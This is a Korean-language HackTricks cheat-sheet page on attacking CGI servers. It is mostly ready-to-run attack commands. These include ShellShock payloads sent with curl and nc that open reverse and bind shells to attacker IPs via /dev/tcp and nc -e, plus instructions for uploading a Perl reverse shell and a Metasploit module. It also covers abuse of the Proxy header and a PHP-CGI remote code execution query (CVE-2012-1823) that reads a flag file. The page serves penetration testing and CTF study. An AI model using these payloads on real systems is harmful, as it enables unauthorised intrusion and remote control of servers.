CGI

Support HackTricks

정보

CGI 스크립트는 perl 스크립트이므로, .cgi 스크립트를 실행할 수 있는 서버를 침해한 경우 perl 리버스 셸 (/usr/share/webshells/perl/perl-reverse-shell.pl)을 업로드하고, 확장자를 .pl에서 .cgi로 변경한 후, 실행 권한 (chmod +x)을 부여하고 웹 브라우저에서 리버스 셸에 접속하여 실행할 수 있습니다. CGI 취약점을 테스트하기 위해 nikto -C all (및 모든 플러그인)을 사용하는 것이 권장됩니다.

ShellShock

ShellShock는 Unix 기반 운영 체제에서 널리 사용되는 Bash 명령줄 셸에 영향을 미치는 취약점입니다. 이는 Bash가 애플리케이션에 의해 전달된 명령을 실행하는 능력을 목표로 합니다. 취약점은 환경 변수의 조작에 있으며, 이는 컴퓨터에서 프로세스가 실행되는 방식에 영향을 미치는 동적 이름 값입니다. 공격자는 환경 변수에 악성 코드를 첨부하여 변수를 수신할 때 실행되도록 할 수 있습니다. 이를 통해 공격자는 시스템을 손상시킬 수 있습니다.

이 취약점을 악용하면 페이지에서 오류가 발생할 수 있습니다.

이 취약점을 찾을 수 있는 방법구식 Apache 버전cgi_mod (cgi 폴더 포함)을 사용하고 있는 것을 확인하거나 nikto를 사용하는 것입니다.

테스트

대부분의 테스트는 무언가를 에코하고 해당 문자열이 웹 응답으로 반환되기를 기대하는 방식으로 진행됩니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하십시오.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (반사, 블라인드 및 아웃 오브 밴드)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

익스플로잇

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

프록시 (MitM에서 웹 서버 요청으로)

CGI는 http 요청의 각 헤더에 대해 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다.

HTTP_PROXY 변수가 웹 서버에 의해 사용될 수 있습니다. "Proxy: <IP_attacker>:<PORT>"를 포함하는 헤더를 보내고, 세션 중에 서버가 요청을 수행하는 경우, 서버가 만든 각 요청을 캡처할 수 있습니다.

구형 PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

기본적으로 cgi가 활성화되고 php가 "구형" (<5.3.12 / < 5.4.2)인 경우 코드를 실행할 수 있습니다. 이 취약점을 악용하기 위해서는 매개변수를 보내지 않고 (특히 "=" 문자를 보내지 않고) 웹 서버의 일부 PHP 파일에 접근해야 합니다. 그런 다음 이 취약점을 테스트하기 위해 예를 들어 /index.php?-s에 접근할 수 있으며 (note the -s) 응답에 애플리케이션의 소스 코드가 나타납니다.

그런 다음 RCE를 얻기 위해 이 특별한 쿼리를 보낼 수 있습니다: /?-d allow_url_include=1 -d auto_prepend_file=php://input요청 본문에서 실행될 PHP 코드. 예:**

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

취약점 및 가능한 익스플로잇에 대한 추가 정보: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF 작성 예시.

HackTricks 지원하기

Last updated